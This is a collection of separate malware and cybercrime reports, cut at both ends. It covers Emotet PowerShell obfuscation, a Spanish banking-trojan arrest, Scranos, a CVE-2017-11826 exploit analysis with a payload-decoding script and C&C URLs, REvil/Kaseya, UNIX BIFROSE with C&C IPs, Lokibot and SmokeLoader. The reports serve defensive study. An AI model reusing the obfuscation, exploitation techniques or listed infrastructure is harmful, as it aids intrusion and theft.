It takes a value of PowerShell’s built-in variable $verbosepreference, converts it to a string, takes the 2nd and 4th char, concatenates it with ‘X’, and concatenates them all together to one string using the join operator.
What is the default value of $verbosepreference? It turns out it is ‘SilentlyContinue’. The second and fourth chars of this string are, you guessed it, ‘i’ and ‘e’. When we concatenate them with ‘x’, we receive ‘iex’ – the alias of the Invoke-Expression cmdlet. Creepy? Kinda. This kind of trick in PowerShell is very popular among malware developers.
### Homework
Can you spot an Invoke-Expression cmdlet in the third example (ASCII table)?
### Deobfuscation Script for Emotet
I put my deobfuscation script for Emotet on GitHub. You can use it and modify it as you wish. For now, it automatically detects and deobfuscates all obfuscation methods described in this post.
|
# La Guardia Civil desarticula una importante red dedicada a cometer estafas a través de Internet
Se ha detenido a 16 personas en Ribeira (A Coruña), Madrid, Parla y Móstoles (Madrid), Seseña (Toledo), Villafranca de los Barros (Badajoz) y Aranda de Duero (Burgos) por los presuntos delitos de estafa y pertenencia a organización criminal. A través de un software malicioso, instalado en el ordenador de la víctima por la técnica conocida como "email spoofing", habrían conseguido desviar a sus cuentas grandes cantidades de dinero.
Los agentes han conseguido bloquear tentativas de transferencias por un importe de 3.500.000 euros, después de analizar más de 1.800 correos electrónicos. La Guardia Civil, en el marco de la operación AGUAS VIVAS, ha desarticulado una organización delictiva dedicada a cometer estafas a través de Internet. Se han esclarecido 20 delitos de estafa, por un importe total defraudado de 276.470 euros, de los cuales han podido ser recuperados 87.000 euros. Asimismo, se han realizado 2 registros en Madrid, en los que han intervenido gran cantidad de documentación, dispositivos móviles y equipos informáticos.
La investigación se inició hace más de un año, tras varias denuncias presentadas por diferentes organismos oficiales, situados a lo largo de toda la geografía nacional, por la supuesta infección de sus equipos informáticos con algún tipo de software malicioso, con el que habrían conseguido desviar de sus cuentas, a través de la banca online, grandes cantidades de dinero.
Tras analizar los equipos informáticos afectados, los agentes observaron que la infección se llevaba a cabo a través de una técnica conocida como "email spoofing", consistente en el envío fraudulento de correos electrónicos en los que los atacantes ocultaban la verdadera dirección del remitente, sustituyéndola por otra, aparentemente, legítima, logrando así suplantar la identidad de organismos estatales como la Agencia Tributaria, Hacienda, Correos o la DGT.
## Modus operandi
Los denunciantes recibían en sus cuentas de correo electrónico unos mensajes, supuestamente provenientes de organismos oficiales como la Agencia Tributaria, Hacienda, Correos, DGT, etc., en los que se les requería pagar deudas fiscales, abonar multas de tráfico, o la recogida de paquetes, para lo cual debían abrir un enlace inserto en el correo recibido para ver los detalles. Cuando accedían a ese enlace, en realidad estaban accediendo a una dirección o página web desde la que, en segundo plano, era descargado e instalado el programa malicioso.
Una vez instalado en el ordenador, sin que el usuario se diera cuenta, permanecía latente a la espera de ser activado en el momento en que el usuario accediera a cualquier página web de un banco, ejecutando una transacción bancaria. En ese momento el software malicioso realizaba una interceptación y modificación de los datos emitidos, consiguiendo que las cuentas beneficiarias del dinero fueran un total de 30 cuentas bancarias pertenecientes a la red. Tras ello, el dinero era diversificado mediante su envío a otras cuentas, o mediante extracción de efectivo en cajeros, transferencias por BIZUM, tarjetas REVOLUT, etc., con el fin de dificultar la posible investigación policial.
Una característica en la que coincidían todas las víctimas es que, una vez que realizaban cualquier operación bancaria a través de la web, sus ordenadores se reiniciaban varias veces hasta bloquearse el acceso, comprobando más tarde que se habían realizado transferencias de grandes cantidades de dinero a cuentas de desconocidos.
## 68 cuentas de correo electrónico infectadas por troyanos
Los investigadores, en colaboración con el Departamento de Informática de la Diputación Provincial de Cáceres, detectaron una actividad sospechosa en al menos 68 cuentas de correo electrónico pertenecientes a organismos oficiales, los cuales estaban infectados con los troyanos "Mekotio" y "Grandoreiro", y que permanecían a la espera de consumar las transferencias fraudulentas.
La organización estaba perfectamente estructurada y jerarquizada, en 4 niveles. Por un lado se hallaban los que se dedicaban a recibir las cantidades de las transferencias fraudulentas (Nivel 1), que posteriormente transferían a otros miembros de la organización (Nivel 2). Por otro lado, se encontraban los que transferían el dinero a otras cuentas ubicadas en el extranjero (Nivel 3) y, finalmente, los que se dedicaban a enmascarar la operativa online de las cuentas (Nivel 4).
## Phishing, Vishing y Smishing
Se tratan de tres ataques basados en ingeniería social muy similares en su ejecución. De forma general, el ciberdelincuente enviará un mensaje suplantando a una entidad legítima, como puede ser un banco, una red social, un servicio técnico o una entidad pública, con la que nos sintamos confiados, para lograr su objetivo. Estos mensajes suelen ser de carácter urgente o atractivo, para evitar que aplique el sentido común y se lo piensen dos veces.
- **Phishing**: Suele emplearse el correo electrónico, redes sociales o aplicaciones de mensajería instantánea.
- **Vishing**: Se lleva a cabo mediante llamadas de teléfono.
- **Smishing**: El canal utilizado son los SMS.
En ocasiones, traen consigo un enlace a una web fraudulenta, que ha podido ser suplantada, fingiendo ser un enlace legítimo, o bien se trata de un archivo adjunto malicioso para infectarnos con malware. Su objetivo es obtener datos personales y/o bancarios de los usuarios, haciéndonos creer que los estamos compartiendo con alguien de confianza. También pueden utilizar esta técnica para que descarguemos malware con el que infectar y/o tomar el control del dispositivo.
## Recomendaciones
El principal consejo es ser precavido y leer el mensaje detenidamente, especialmente si se trata de entidades con peticiones urgentes, promociones o chollos demasiado atractivos. Además, otras pautas que podemos seguir para evitar ser víctima de este tipo de engaños, pueden ser:
- Detectar errores gramaticales en el mensaje. Y, si se trata de un asunto urgente o acerca de una promoción muy atractiva, es muy probable que se trate de un fraude.
- Revisar que el enlace coincide con la dirección a la que apunta. Y, en cualquier caso, debemos ingresar la URL nosotros directamente en el navegador, sin copiar y pegar.
- Comprobar el remitente del mensaje, o asegurarnos de que se trata de un teléfono legítimo.
- No descargar ningún archivo adjunto y analizarlo previamente con el antivirus.
- En caso de vishing, no debemos descargar ningún archivo que nos haya solicitado el atacante, ni ceder el control de nuestro equipo por medio de algún software de control remoto.
- No contestar nunca al mensaje y eliminarlo.
La operación, dirigida por el Juzgado de Primera Instancia e Instrucción nº. 1 de Cáceres, ha sido llevada a cabo por agentes pertenecientes al Equipo de Delitos Tecnológicos (EDITE) de la Unidad Orgánica de Policía Judicial (UOPJ) de la Comandancia de Cáceres.
|
# Inside Scranos – A Cross Platform, Rootkit-Enabled Spyware Operation
Last year, the Bitdefender Cyber Threat Intelligence Lab started analysis of a new password- and data-stealing operation based around a rootkit driver digitally signed with a possibly stolen certificate. The operation, partially described in a recent article by Tencent, primarily targeted Chinese territory until recently, when it broke out around the world. Despite the sophistication, this attack looks like a work in progress, with many components in the early stage of development. Although the campaign has not reached the magnitude of the Zacinlo adware campaign, it is already infecting users worldwide.
We discovered that the operators of this rootkit-enabled spyware are continuously testing new components on already-infected users and regularly making minor improvements to old components. The various components can serve different purposes or take different approaches to achieving their goals. Some of the most important components shipped with the malware can achieve the following:
- Extract cookies and steal login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser, and Yandex Browser.
- Steal a user’s payment accounts from his Facebook, Amazon, and Airbnb webpages.
- Send friend requests to other accounts from the user’s Facebook account.
- Send phishing messages to the victim’s Facebook friends containing malicious APKs used to infect Android users as well.
- Steal login credentials for the user’s account on Steam.
- Inject JavaScript adware in Internet Explorer.
- Install Chrome/Opera extensions to inject JavaScript adware on these browsers as well.
- Exfiltrate browsing history.
- Silently display ads or muted YouTube videos to users via Chrome. We found some droppers that can install Chrome if it is not already on the victim’s computer.
- Subscribe users to YouTube video channels.
- Download and execute any payload.
|
# In Depth Analysis of Malware Exploiting CVE-2017-11826
Among the most common malware entry paths, SPAM campaigns have been identified as some of the principals. Normally, these campaigns usually incorporate a malicious link or an attached file (usually, an office document that contains a malicious macro). On this occasion, Gradiant’s Security and Privacy team has obtained and analyzed a sample of an office document that, instead of incorporating a malicious macro, exploits the 0-day vulnerability identified as CVE-2017-11826 whose patch was published on October 17, 2017. The use of this exploit allows the attacker to execute malicious code without the need of any user interaction. Although it is always difficult to attribute an attack, the evidence suggests that it is probably a Russian botnet hosted on a US server.
## Vulnerability Analysis
**SAMPLE DATA**
**Filename:** 2.doc
**Size:** 664KiB (680268 bytes)
**Type:** RTF
**Description:** Rich Text Format data, version 1, unknown character set
**S.O.:** WINDOWS
**SHA256:** cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
First, the OLE objects embedded in the RTF file attached to the mail of the SPAM campaign have been listed. Specifically, the exploit lies in the file “./word/document.xml” belonging to the last object OLE. After analyzing the contents of the file, the exploited vulnerability has been classified as type confusion since it takes place in the unexpected object idmap located just after the opening of the label font, producing the error in the OOXML analyzer. Additionally, it has been observed that the vulnerability requires special conditions that the attacker has taken into account, that is, has declared an object OLEObject just before the label font and added an attribute name with large enough content (greater or equal to 32 Bytes after the conversion that takes place on it from UTF-8 to Unicode).
In order to analyze how the attacker exploits the vulnerability, the bytes of the font’s name attribute have been observed, obtaining the following hexadecimal representation. Which, transformed to unicode and represented in big endian as it happens in the OOXML’s analyzer, result in the following memory address: 0x088888EC. As you can see, when the type confusion happens, a pointer is dereferenced by obtaining the contents of said memory address, to which the program adds 4 units and the execution flow is transferred to the address resulting from said sum.
## Exploit Analysis: Arbitrary Code Execution
To control the contents of the memory address 0x088888EC, the attackers have used the technique heap spraying, which consists of filling a large proportion of the memory with the repetition of a sequence of bytes (called spray), so as to maximize the probabilities of finding that sequence of bytes in memory when your position cannot be predicted accurately. In this case, the implementation of this technique has consisted of a large set of ActiveX objects which imports the spray stored in the file activeX1.bin. The attacker has made heap spraying of two memory addresses: to which the attacker wants the dereferenced pointer to point (0x088888EC) and the content that he wants in that memory location (0x729440CB), which is an address belonging to the library msvbvm60.dll decreased by 4 units to compensate for the increase in 4 units accomplished by the vulnerable OOXML parser code.
The attackers load the library “msvbvm60.dll” by its CLSID code. In addition, it has been observed that said library is only loaded in order to make “ROP” about her (ROP is a software exploitation technique that allows evading certain protections, for example: non-executable memory regions and code signing protections) since this library has disabled DEP and ASLR protections. By using the “msvbvm60.dll” library existing “ROP Gadgets,” the attacker gets to give execution permissions to the “shellcode” and redirect the execution flow to the beginning of it.
It has been observed that the shellcode simply decrypts and executes the embedded malware (a Portable Executable library) and consists of two phases: The first is what is known as “egg hunter,” which means a code that locates and executes another code. In this case, the “egg hunter” locates the second part of the shellcode in memory, deciphers it, and jumps to said deciphered second part. The second part looks for the label 0xBABABABA (which is the marker that the attacker has used to indicate the direction in which the malware starts) and applies a XOR decryption over all the DWORDs that make it up using the key 0xCAFEBABE until it reaches the end tag of malware labeled with 0xBBBBBBBB. Lastly, it uses the key 0xBAADF00D to decipher the document that will replace the original one.
As often happens in Portable Executable files, it contains many zeros. So, when encrypting these zeros with the key, the key is reflected in the encrypted text itself. As you can see, there are multiple appearances of the little endian 0xBEBAFECA DWORD, so this implies that 0xCAFEBABE is the XOR key. Making use of this information, a script which performs the extraction and decryption of the embedded file allowing the later static analysis has been developed.
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
DECODE_KEY="CAFEBABE".decode("hex")
PE_START_TAG="BA"*6
PE_END_TAG="BB"*6
INPUT_FILE="2.doc"
OUTPUT_FILE="decoded.vir"
# It reads the document bytes
f=open(INPUT_FILE,"rb")
bytes_doc=f.read()
f.close()
# It extracts the embedded binary file
pe_encoded=bytes_doc.split(PE_START_TAG.decode("hex"))[1].split(PE_END_TAG.decode("hex"))[0]
# It decrypts the embedded file bytes
pe_decoded=""
for pos in range(0,len(pe_encoded), 4):
try:
pe_decoded+=chr(ord(pe_encoded[pos])^ord(DECODE_KEY[(pos+3)%4]))
pe_decoded+=chr(ord(pe_encoded[pos+1])^ord(DECODE_KEY[(pos+2)%4]))
pe_decoded+=chr(ord(pe_encoded[pos+2])^ord(DECODE_KEY[(pos+1)%4]))
pe_decoded+=chr(ord(pe_encoded[pos+3])^ord(DECODE_KEY[pos%4]))
except IndexError:
pass
# It saves the embedded malware after its decryption
f=open(OUTPUT_FILE,"wb")
f.write(pe_decoded)
f.close()
```
## Malware Analysis
Next, we analyze the resulting malware.
**DLL EMBEDDED**
**Filename:** decoded.vir
**Size:** 277KiB (282950 bytes)
**Type:** PE (Portable Executable)
**Compiled:** Thu Sep 21 08:21:08 2017
**Arch.:** x86
**S.O.:** WINDOWS
**SHA256:** d6990b2d82680a03ab57cee21e52843872fa770ddf8cfec2e15cf6bef068a61b
First, three hardcoded URL directions which belong to the mymyawady.com domain have been identified:
| URL | FUNCTIONALITY |
|----------------------------------------------------------|--------------------------|
| https://cdn1.mymyawady.com/x4/dll/logo.jpg | Malicious CAB file |
| https://cdn2.mymyawady.com/x4/dll/readme.txt | Malicious CAB file |
| https://cdn3.mymyawady.com/x4/dll/info.php | Gate of the C&C |
Then, a whois query has been made over the attacking domain, identifying that it is of Russian origin and was created during the month before the compilation of the document embedded library file. In addition, a DNS historical domain has been obtained, detecting that the day after the creation of the same it pointed to a US IP address (45.77.46.81) from a provider of various cloud services that the attackers used to host the malicious load of this malware.
It has been observed that the malware tries to download the two malicious CAB files hosted in the command and control server (C&C) under the names: logo.jpg and readme.txt using a specific function. This keeps in temporary paths and decompresses in the same directory using the system tool “expand.exe” by using the parameters that are observed.
Lastly, the execution of an avgdate.exe file which the malware expects, was created as a result of the CAB decompression has been identified. Further, the library is kept in a loop that runs in a 23 seconds frequency until it manages to download one of these two CAB malwares.
In each iteration, the malicious code collects the following system information. It accesses the Windows registry to obtain the user’s SID, which subsequently builds on the format string: “aSidUserSCompu.” For example, the malware fills this string with the information of one of our laboratory machines by including whether or not it has been able to download and run C&C hosted malware samples. All of this formatted information will be sent to the “gate” by sending a “POST” request over the “news” parameter which the user’s SID is passed.
## Conclusions
Our team has noticed a slight increase in the number of malicious office documents that do not use macros. That is why it is important to keep the software always up to date. It is recommended to consult only those documents and links that are trusted and, in case of doubt, contact the sender by using a secure communication medium.
## IOCs
- cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
- 9209946f3012a37509cb703f55c58b552361f76507acc4786f7b73f6c5092eae
- c6de846128c9ee10e7894af47c2855e1dc3c7c19f1db0c960f882ab60f522a2e
- cd4679c14349744b0e2bfa4d385afe49c9cb8540196f893f52c8f50c47cddbec
- hxxps://cdn1.mymyawady.com/x4/dll/logo.jpg
- hxxps://cdn2.mymyawady.com/x4/dll/readme.txt
- hxxps://cdn3.mymyawady.com/x4/dll/info.php
**Author:** David Alvarez-Perez, researcher at Gradiant’s Security and Privacy team.
|
# Kaseya Ransomware Supply Chain Attack: What You Need To Know
**UPDATE July 5, 2021:** Our blog has been updated with more details on how the ransomware was executed along with additional protection information.
Several hundred organizations have been targeted by the REvil (aka Sodinokibi) ransomware in a supply chain attack involving Kaseya VSA software and multiple Managed Service Providers (MSPs) who use it. News of the attack broke on Friday, July 3, prompting Kaseya to urge VSA users to shut down their VSA servers to prevent them from being compromised. The attack may have been timed to coincide with the 4th of July holiday weekend in the U.S., where many organizations may be lightly staffed.
## Are Symantec customers protected?
Yes, Symantec Endpoint products proactively blocked tools used to deliver the ransomware payload in this wave of attacks.
## How many organizations are affected?
According to Kaseya, only a very small percentage of their customers were affected, “currently estimated at fewer than 40 worldwide.” However, each of those organizations may be MSPs with multiple customers. Current reports suggest hundreds of victims.
## How was REvil delivered to computers during these attacks?
While the exploit used to breach Kaseya VSA server side has not yet been fully documented, it is known that the attackers delivered a malicious script and an ASCII PEM named agent.crt to Kaseya VSA clients. The dropper masqueraded inside the ASCII PEM file, which was decoded using certutil after attempts to disable Microsoft Defender. It dropped two resources, an old but legitimate copy of Windows Defender (MsMpEng.exe) and a custom malicious loader. The dropper writes the two files to disk and executes MsMpEng.exe, which then side loads and executes the custom loader's export (mpsvc.dll).
## What was the motivation for the attacks?
REvil attacks are usually financially motivated. However, there are some signs that the attacks may be politically motivated disruption. The attackers have, on occasion, appeared to have a political motive in their selection of targets. In this attack, strings in the payload made references to President Joe Biden, ex-president Donald Trump, and Black Lives Matter. The attackers demanded a ransom of $45,000, which may be another reference to Trump, who was the 45th president of the U.S. Furthermore, REvil’s Tor payment site is down at the time of writing, meaning victims will have no way of paying a ransom. Whether the group is having technical difficulties or whether it never intended to collect a ransom remains unclear.
## What is REvil/Sodinokibi?
REvil (detected as Ransom.Sodinokibi) is a family of ransomware developed by a cybercrime group Symantec calls Leafroller. The ransomware is used in targeted attacks, where the attackers attempt to encrypt all computers on the victim’s network in the hope of extorting a large ransom. The group is known to steal victim data prior to encryption and threaten to release it unless a ransom is paid. Leafroller is one of the most established and prolific targeted ransomware groups in operation. Prior to its development of REvil, the group was associated with an older ransomware family known as Gandcrab. Leafroller is known to operate a Ransomware-as-a-Service, where it sells its tools to collaborators known as affiliates in exchange for a cut of any ransom payments they obtain.
## Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
### File-based protection:
- Downloader
- Heur.AdvML.C
- Packed.Generic.618
- Ransom.Sodinokibi
- Trojan.Gen.2
- Trojan.Gen.MBT
- WS.Malware.1
- WS.Malware.2
### Network-based protection:
- Ransom.Gen Activity 29
- Audit: Ransom.Gen Activity 55
For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise
- d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e - Dropper
- df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e - Dropper
- dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f - Dropper
- aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7 - Dropper
- 66490c59cb9630b53fa3fa7125b5c9511afde38edab4459065938c1974229ca8 - Dropper
- 81d0c71f8b282076cd93fb6bb5bfd3932422d033109e2c92572fc49e4abc2471 - Dropper
- 1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e - Dropper
- 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd - Sodinokibi
- e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 - Sodinokibi
- d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20 - Sodinokibi
- d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f - Sodinokibi
- cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6 - Sodinokibi
- 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402 - Sodinokibi
- 8e846ed965bbc0270a6f58c5818e039ef2fb78def4d2bf82348ca786ea0cea4f - Sodinokibi
|
# Shrouded Crossbow Creators Behind BIFROSE for UNIX
We recently came across a variant of the BIFROSE malware that has been rewritten for UNIX and UNIX-like systems. This is the latest tool developed by attackers behind operation Shrouded Crossbow, which have produced other BIFROSE variants such as KIVARS and KIVARS x64. UNIX-based operating systems are widely used in servers, workstations, and even mobile devices. With a lot of highly confidential data found in these servers and devices, a UNIX version of BIFROSE can certainly be classified as a threat.
## Capable Hands
BIFROSE has been updated by Shrouded Crossbow specifically for the campaigns they pursue. Some of their victims have already been compromised by both Windows and UNIX versions of BIFROSE. Historically, Shrouded Crossbow has used BIFROSE to target privatized government agencies, government offices, and government contractors, as well as companies in the consumer electronics, computer, healthcare, and financial industries.
## BIFROSE Evolution Under Shrouded Crossbow
- **2004**: BIFROSE was developed by ksv as a trojan known to have infected Windows 95 through Windows 7.
- **2010**: Shrouded Crossbow developed KIVARS, dropped by malware detected as TROJ_FAKEWORD.A (SHA1 218be0da023e7798d323e19e950174f53860da15) and only affects 32-bit systems. Only encrypts the “MZ” magic byte for the backdoor payload.
- **2013**: Shrouded Crossbow developed KIVARS x64, which can work in 32-bit and 64-bit environments. Payload is now encrypted using the modified RC4.
- **2014**: Shrouded Crossbow developed UNIX BIFROSE.
## UNIX BIFROSE
UNIX BIFROSE was created after the Shrouded Crossbow rewrote BIFROSE and compiled it into an Executable and Link Format (ELF), which is a standard executable file for UNIX and UNIX-like systems. Its code is completely changed compared to the Windows version, but still has almost the same protocol and command-and-control (C&C) commands. Both Windows and UNIX versions can communicate with the original Bifrost C&C server. One big difference between the Windows and UNIX version is that UNIX BIFROSE has fewer backdoor functions compared to the original BIFROSE.
### Phone Home Packets for UNIX and Windows
**UNIX**
`<victim IP>|unix|<hostname>|<username>|5.0.0.0|0|1|1|0|575|0|0|0|0|None|||||`
**Windows**
`<victim IP>|default_zz|<hostname>|<username>|2.0.0a||1|-1|0|2600|1|1|0|0|982bc1da|C:\Documents and Settings\Administrator\Recent|C:\Documents and Settings\Administrator\Desktop|C:\Documents and Settings\Administrator\My Documents|US|00000409|`
In the phone home packet, BIFROSE will register with a default assigned name on C&C. The default name for the Windows version of BIFROSE is default_zz, whereas for UNIX, the default name is unix. The attacker can easily change these names at a later time. The initial malware installed will be 2.0.0a for Windows, and 5.0.0.0 for UNIX. The Windows version, once connected to the C&C server, will contain the disk serial number, locale, and keyboard layout that identifies the victims and helps the attackers manage the tools needed for the attack. However, the previously mentioned information will not be available for the UNIX version.
UNIX BIFROSE also provides a “create remote shell,” which is perfect for skilled attackers who are familiar with the UNIX system.
## Malware Crossing Platforms
After testing the UNIX BIFROSE version, we figured out that it has no problem communicating with the BIFROSE server console used by the original BIFROSE (the Windows version). Our research indicates that a network can be infected by both Windows and UNIX versions of the malware. This ensures that regardless of the OS used by the victim, the threat actor is ready and able to capture and communicate with any server.
With BIFROSE used as a component for recent targeted attacks, we studied the new variant to see its strength in a sustained attack. UNIX BIFROSE can be used in the lateral movement phase of a targeted attack. It can be deployed to control a Linux server in the victim’s network. It can also find other vulnerable Linux units which it can infect to sustain the attack further.
While half of the threat of UNIX BIFROSE falls on its capabilities, the other half falls on Shrouded Crossbow’s capability to create tools such as updated versions of BIFROSE. As far as which platform BIFROSE will move to next, it will not be a matter of time. Instead, it will be a matter of need. If Shrouded Crossbow needs BIFROSE for iOS or Android, it is possible, even if they have to rewrite the code. And looking at how they were able to create UNIX BIFROSE, an OS X version may not be far off.
## Implications on Enterprises
Upon the first signs of abnormal activities, such as those seen through network and mail logs, IT admins must be prepared and quick to respond. As we’ve mentioned in our past post, network activities such as logins and emails during “abnormal” times need to be checked.
When enterprises face targeted attacks, they have to apply the same attention and focus on their own network to detect intrusions and anomalies and respond appropriately. Network defense platforms like Trend Micro Deep Discovery, Deep Security, and ServerProtect enable IT admins to detect, analyze, and respond to these kinds of threats. They can detect BIFROSE behaviors such as malicious behavior, command-and-control communications, lateral movement, and data exfiltration.
Here are the hashes for ELF_BIFROSE.ZTDA and their C&C servers:
**SHA1**
3d3bb509f307db97630c297bdb985c83d8a40951
**C&C**
103.246.247.103
202.133.245.251
5d8b228e3014b4eb579e380b3a1113dd8c0d999a
58.64.185.12
We came across a variant of the BIFROSE malware rewritten for UNIX and UNIX-like systems. This is the latest tool from the attackers behind operation Shrouded Crossbow, which have produced other BIFROSE variants such as KIVARS and KIVARS x64.
|
# PDF Analysis of Lokibot Malware
**Muhammad Hasan Ali**
**Malware Analysis learner**
**July 25, 2022**
**4 minute read**
As-salamu Alaykum
## Introduction
This sample is from the Lokibot trojan, which steals credential information from web browsers, FTP servers, and SMTP servers. This sample is a PDF file, and our purpose is to analyze it.
## About PDF
### Ability of a PDF File
A PDF file can implement droppers, downloaders, or exploit PDF reader application vulnerabilities.
### PDF Structure
- **PDF header:** Contains info about the version of the PDF such as %PDF-1.6
- **Body:**
- **Streams:** A sequence of bytes such as images or data, which comes in encoded data.
- **Objects:** How to render documents, which can include text or JavaScript.
- Others such as names, dictionaries, strings, and arrays.
- **Cross-reference table:** Contains the offsets of the file’s objects.
- **Trailer:** Contains the offset of the xref table and the number of objects, /Root.
Dictionary entry is an item between « » and starts with a slash / such as /Root, which is the first object processed after loading the PDF file. /Root could be found in the Trailer section.
### Suspicious Keywords Found When Analyzing and Their Indications:
- **/Js, /JavaScript:** To execute embedded JavaScript
- **/Launch, /EmbeddedFiles:** To launch external or embedded files
- **/URI:** To interact with URLs
- **/OpenAction, /AA:** To open an action
- **/FlateDecode:** Uses the zlib/deflate decompression method.
A comment in PDF starts with %.
### About Objects:
- **obj 1 0:** % first number is ID, second number is version
- **type:** catalog % catalog is an example, type can be empty.
- **Referencing:** 3 0 R % object 1 0 references to 3 0, R indicates referencing
- **........** % content of the object
- **endobj** % the object ends with
## Methodology
Use `pdfid.py` or `peepdf.py` to perform an initial assessment by summarizing risky aspects. Use `pdf-parser.py` to locate objects in the file that include JavaScript, examine the contents of objects, decode the stream embedded from the object, extract only the list of URLs, and follow object referencing to find the goal.
If you use `peepdf.py` and find that it has /EmbeddedFiles, start analyzing the object to which /EmbeddedFiles belongs. If you find /FlateDecode, try to analyze it to decode the stream.
## PDF Analysis
In this sample, we received a malicious PDF file that downloads Lokibot malware. We need to start our analysis quickly using REMnux. We first use `pdfid.py` to get info about the PDF. It has 8 streams, 1 /EmbeddedFiles, and 0 JavaScript files. We can use `peepdf.py` to find which object contains the /EmbeddedFiles, but an error occurred while running.
So we will use `pdf-parser.py` to get our embedded file. We see many objects, then start with objects that contain /FlateDecode, and if we find /EmbeddedFiles, go for it.
After scrolling down, we see object 12 contains /FlateDecode. We try to decode it and dump it. If we use the `file` command to see its type, it’s ASCII text. Then we open the file using `scite`, but it’s useless. Some objects are useless, taking time to find the payload. We examine another object. When we get to object 22, we find our /EmbeddedFiles, which indicates that the PDF launches an embedded file with a large length. Dump it to `file22` to see its content and type. After that, we use the `file` command and notice that it’s a Composite Document File V2 Document CFBF, a compound document file format for storing numerous files and streams within a single file on a disk. In our case, this PDF stores an XLS file.
If we upload `file22` to VirusTotal, we will find it already uploaded and it’s malicious. Our purpose is to get the main payload.
## Dynamic Analysis
We will open FlareVM, which has our installed tools. We need to install a PDF reader such as Foxit Reader and Microsoft Office. First, open `fakenet-ng`. If the malicious PDF tries to connect and download from the internet, this PDF sample opens an XLS spreadsheet.
Then open the PDF. In Foxit Reader, disable safe mode and run the malicious PDF in privilege mode. We open Attachments and see there’s an attachment, which will be our XLS spreadsheet file. You can open it manually. Double-click on it and allow it to open. Then it will open an XLS Excel spreadsheet. Save this attachment on your Desktop from Foxit Reader.
## IoCs
- **PDF file:** da9c3deb08bfc6a2e7930a4c8f1bd81b5ebffbb09b44027c74ea41ebf7149f8b
- **XLS sheet:** 825b7a64db82a61656c8004bef49823d5b9fe4f52fae744f5dc927b3e75a994b
### Article Quote
كﺪﺟو ﻦﻣ ﺪﻘﻓ يﺬﻟا ﺎﻣو كﺪﻘﻓ ﻦﻣ ﺪﺟو اذﺎﻣ ، ﻲﻬﻟإ
### REF
- hybrid-analysis
|
# SmokeLoader Malware Used to Augment Amadey Infostealer
The BlackBerry Research & Intelligence Team
Amadey has updated its infection methods and now employs SmokeLoader to get onto victims’ systems. In past iterations, this information stealer has used exploit kits such as RigEK and Fallout EK to gain access to vulnerable machines.
Amadey is a criminal-to-criminal (C2C) botnet infostealer project, meaning it is a service made available on the black market by criminals for purchase by other criminals. It was first discovered in 2018 and highlighted by the BlackBerry Threat Research Team in 2020. While it is primarily used for collecting information about a victim’s computing environment, it can also be used to deliver additional malicious modules.
Recently, Amadey has been observed using SmokeLoader loader malware to spread a new and highly aggressive Amadey Bot variant. Threat actors have concealed the loader in “cracked” software and keygen (key generator) sites, which offer the lure of providing illicit free access to licensed software. The SmokeLoader family has been actively relying on this scheme for transmission since at least the beginning of this year.
## Amadey Information Stealing Methods
After Amadey completes its initial setup processes, it connects to a remote, attacker-controlled command-and-control (C2) server. It then downloads a plugin to collect system, application, and antivirus (AV) information from the victim’s machine. This information allows the threat actor to identify both sensitive information for exfiltration as well as details of any antivirus tools on the system, so they can be evaded.
This recent version of the infostealer includes enhanced features compared to its predecessor. These include:
- Scheduled tasks for persistence
- Advanced reconnaissance options
- User account control (UAC) bypassing
- Tailored defense evasion strategies
After attackers have successfully breached a system, they then have the opportunity to install additional malicious components.
## Amadey and SmokeLoader Connection
The BlackBerry Threat Research Team has observed SmokeLoader being hidden in cracks and keygens for several brands of popular software applications. The threat actor behind it has been relying on black SEO to seed malicious results to get prime placement at the top of search engine results, so those seeking cracks can easily find these Trojanized files to download and run.
Since it’s publicly known that some AV vendors may block cracks and keygens, some people explicitly disable their endpoint security products before downloading these files, or they ignore detection alerts and proceed with the download. So even if the sample is widely detected, there is room for a successful infection due to the victim specifically allowing it.
SmokeLoader has been very active of late. According to telemetry monitored by BlackBerry, most targets are in the United States, followed by Japan, Mexico, and Brazil. Over 25,000 different SmokeLoader samples have been observed in our telemetry during the past three months. It’s notable that a quarter of all attempts to infect have hit targets in the healthcare industry.
## BlackBerry Stops SmokeLoader and Amadey
Customers using CylancePROTECT® are protected from SmokeLoader and Amadey augmented by SmokeLoader. To combat this highly effective and infectious malware variant, BlackBerry recommends using artificial intelligence-based agents trained for threat detection on millions of both safe and unsafe files. For example, BlackBerry’s Cylance® AI uses automated security agents to block Amadey based on numerous file attributes and malicious behaviors, rather than relying on a specific file signature.
## About CylancePROTECT
CylancePROTECT is an endpoint protection platform (EPP) from BlackBerry that employs Cylance AI’s advanced, seventh-generation, machine learning models to provide a predictive advantage against both zero-day threats and legacy cyberattacks.
## About The BlackBerry Research & Intelligence Team
The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.
|
# LAZARUS & BYOVD: EVIL TO THE WINDOWS CORE
**Peter Kálnai & Matěj Havránek**
ESET, Czech Republic
[email protected]
[email protected]
## ABSTRACT
